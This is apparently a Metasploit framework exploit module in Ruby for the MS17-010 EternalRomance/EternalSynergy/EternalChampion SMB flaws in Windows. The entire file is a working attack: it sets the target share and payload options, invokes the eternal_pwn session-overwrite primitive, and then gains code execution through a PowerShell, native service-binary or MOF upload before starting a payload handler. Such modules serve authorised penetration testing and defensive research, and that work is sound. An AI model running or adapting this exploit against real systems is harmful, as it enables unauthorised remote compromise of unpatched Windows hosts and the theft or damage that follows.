##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# Windows XP systems that are not part of a domain default to treating all
# network logons as if they were Guest. This prevents SMB relay attacks from
# gaining administrative access to these systems. This setting can be found
# under:
#
#  Local Security Settings >
#   Local Policies >
#    Security Options >
#     Network Access: Sharing and security model for local accounts

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010
  include Msf::Exploit::Remote::SMB::Client::Psexec
  include Msf::Exploit::Remote::CheckModule
  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution',
      'Description'    => %q{
        This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where
        primitive. This will then be used to overwrite the connection session information with as an
        Administrator session. From there, the normal psexec payload code execution is done.

        Exploits a type confusion between Transaction and WriteAndX requests and a race condition in
        Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy
        exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a
        named pipe.
      },
      'Author'         =>
        [
          'sleepya',          # zzz_exploit idea and offsets
          'zerosum0x0',
          'Shadow Brokers',
          'Equation Group'
        ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'CheckModule' => 'auxiliary/scanner/smb/smb_ms17_010',
          'WfsDelay' => 10
        },
      'References'     =>
        [
          [ 'MSB', 'MS17-010' ],
          [ 'CVE', '2017-0143'], # EternalRomance/EternalSynergy - Type confusion between WriteAndX and Transaction requests
          [ 'CVE', '2017-0146'], # EternalChampion/EternalSynergy - Race condition with Transaction requests
          [ 'CVE', '2017-0147'], # for EternalRomance reference
          [ 'URL', 'https://github.com/worawit/MS17-010' ],
          [ 'URL', 'https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf' ],
          [ 'URL', 'https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/' ],
        ],
      'Payload'        =>
        {
          'Space'        => 3072,
          'DisableNops'  => true
        },
      'Platform'       => 'win',
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [ 'PowerShell', { } ],
          [ 'Native upload', { } ],
          [ 'MOF upload', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2017-03-14',
      'Notes' =>
          {
              'AKA' => [
                  'ETERNALSYNERGY',
                  'ETERNALROMANCE',
                  'ETERNALCHAMPION',
                  'ETERNALBLUE'      # does not use any CVE from Blue, but Search should show this, it is preferred
              ]
          }
    ))

    register_options(
      [
        OptString.new('SHARE',     [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])
      ])

    register_advanced_options(
      [
        OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
        OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
        OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
        OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil])
      ])

    deregister_options('SMB::ProtocolVersion')
  end

  def validate_service_stub_encoder!
    service_encoder = datastore['SERVICE_STUB_ENCODER']
    return if service_encoder.nil? || service_encoder.empty?

    encoder = framework.encoders[service_encoder]
    if encoder.nil?
      raise Msf::OptionValidateError.new(
        {
          'SERVICE_STUB_ENCODER' => "Failed to find encoder #{service_encoder.inspect}"
        }
      )
    end
  end

  def exploit
    validate_service_stub_encoder!

    begin
      if datastore['SMBUser'].present?
        print_status("Authenticating to #{datastore['RHOST']} as user '#{splitname(datastore['SMBUser'])}'...")
      end
      eternal_pwn(datastore['RHOST'])
      smb_pwn()

    rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e
      print_error("#{e.message}")
    rescue ::Errno::ECONNRESET,
           ::Rex::Proto::SMB::Exceptions::LoginError,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionRefused  => e
      print_error("#{e.class}: #{e.message}")
    rescue => error
      print_error(error.class.to_s)
      print_error(error.message)
      print_error(error.backtrace.join("\n"))
    ensure
      eternal_cleanup()       # restore session
    end
  end

  def smb_pwn
    service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
    service_encoder = datastore['SERVICE_STUB_ENCODER'] || ''

    case target.name
    when 'Automatic'
      if powershell_installed?(datastore['SHARE'], datastore['PSH_PATH'])
        print_status('Selecting PowerShell target')
        execute_powershell_payload
      else
        print_status('Selecting native target')
        native_upload(datastore['SHARE'], service_filename, service_encoder)
      end
    when 'PowerShell'
      execute_powershell_payload
    when 'Native upload'
      native_upload(datastore['SHARE'], service_filename, service_encoder)
    when 'MOF upload'
      mof_upload(datastore['SHARE'])
    end

    handler
  end
end
